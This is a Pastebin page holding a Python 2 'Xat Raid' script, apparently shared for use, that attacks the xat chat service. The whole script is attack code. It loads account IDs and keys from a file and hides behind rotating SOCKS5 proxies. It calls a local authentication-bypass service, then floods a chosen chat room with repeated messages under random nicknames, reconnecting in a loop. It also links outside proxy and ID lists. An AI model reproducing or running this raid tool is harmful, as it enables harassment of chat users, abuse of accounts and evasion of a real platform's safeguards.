Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Socks5 Proxy List: http://pastebin.com/W6W9gVDG
- #MUST HAVE THIS ID LIST: http://pastebin.com/w3PRk3kG
- '''
- ~ NOTE: YOU MUST HAVE A BYPASS RUNNING FOR THIS TO WORK.
- '''
- # -*- coding: utf-8 -*-
- import urllib, urllib2, urllib3
- import xml.etree.ElementTree as tree
- import socket, re, time, random, os, sys, socks
- from itertools import izip
- '''
- ~ Xat Raid By: Kondra
- ~ http://xat.me/Kondra1337
- '''
- global Message, random, randint, Chat
- def XML(packet):
- return dict(re.findall(r'(\w+)="(.+?)"',packet))
- def getBetween(strSource, strStart,strEnd):
- start = strSource.find(strStart) + len(strStart)
- end = strSource.find(strEnd,start)
- return strSource[start:end]
- def Bypass(p, au, yi):
- Socket2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
- Socket2.settimeout(10)
- Socket2.connect(("127.0.0.1",1337))
- Socket2.send('<bot p="'+Data_2.attrib["p"]+'" au="'+Data_2.attrib["au"]+'" yi="'+Data_2.attrib["i"]+'" />\0')
- Recieve2 = Socket2.recv(1270)
- Split = Recieve2.split("\"")
- Socket2.close()
- Authentication = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
- Authentication.connect(('50.115.127.232', 10001))
- Authentication.send('<ya u="'+ID+'" k="'+Data_2.attrib['k']+'" c="'+Split[1]+'" r="'+Chat+'" />\0')
- Authentication.close()
- return [Split[1], Split[3]]
- def raid():
- global login_socket, Data_1, Data_2, ID, K1
- String = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
- String_strip = len(String) - 1
- Text = ''.join([String[random.randint(0, String_strip)] for y in range(1, 10)])
- Nick = str(Text)
- Avatar = random.randint(1,100)
- ids = [i.strip() for i in open('ids.txt','r').read().splitlines()]
- i = random.choice(ids)
- ids = i.split(':')
- ID = ids[0]
- K1 = ids[1]
- print "ID and K1 Selected from ids.txt: " + ID + " & " + K1
- proxies = [i.strip() for i in open('socks.txt','r').read().splitlines()]
- i = random.choice(proxies)
- proxy = i.split(':')
- print "Proxy Being Used: " + str(proxy[0]) + ":" + proxy[1] + "\n"
- try:
- socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy[0], int(proxy[1]))
- test = socks.socksocket
- login_socket = test(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
- login_socket.settimeout(int(1))
- login_socket.connect(("50.115.127.232", 10001))
- except:
- print "Could not connect using the selected proxy! Re-trying using another socks5 proxy...\n"
- raid()
- Handshake = '<y r="'+Chat+'" m="1" v="0" u="'+ID+ '" />\0'
- login_socket.send(Handshake)
- try:
- Data_1 = login_socket.recv(1024)
- except:
- print "An error has occured. Restarting thread...\n"
- raid()
- print "Sent: " + Handshake + "\n"
- print "Recieved: " + Data_1 + "\n"
- try:
- Data_2 = tree.fromstring(Data_1.strip('\0'))
- except:
- print "An error has occured. Restarting thread...\n"
- L5 = Bypass(Data_2.attrib['au'],Data_2.attrib['i'],Data_2.attrib['p'])
- try:
- j2 = '<j2 cb="'+Data_2.attrib['c']+'" Y="'+str(L5[0])+'" l5="'+str(L5[1])+'" l4="1217" l3="844" l2="0" y="'+Data_2.attrib['i']+'" k="'+K1+'" p="0" c="'+Chat+'" f="0" u="'+ID+'" n="'+Nick+'" a="'+str(int(Avatar))+'" h="http://xat.com" v="0" />\0'
- login_socket.send(j2)
- print "Sent: " + j2 + "\n"
- except:
- print "An error has occured. Restarting thread...\n"
- raid()
- while 1:
- Data = login_socket.recv(1024)
- Data = Data.split('\0')[0]
- doXML = XML(Data)
- print "Recieved: " + str(Data)
- Lock = 0
- while 1:
- Lock += 2
- login_socket.send('<m t="'+Text+'" u="'+ID+'" />\0')
- if Lock > 50:
- login_socket.close()
- raid()
- if ('<m t="Failed to connect. Try signing in again."') in Data:
- login_socket.close()
- raid()
- Room = raw_input("Enter Chat: ")
- Room = urllib2.urlopen('http://xat.com/' + Room).read()
- Chat = getBetween(Room,'flashvars="id=','&')
- raid()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement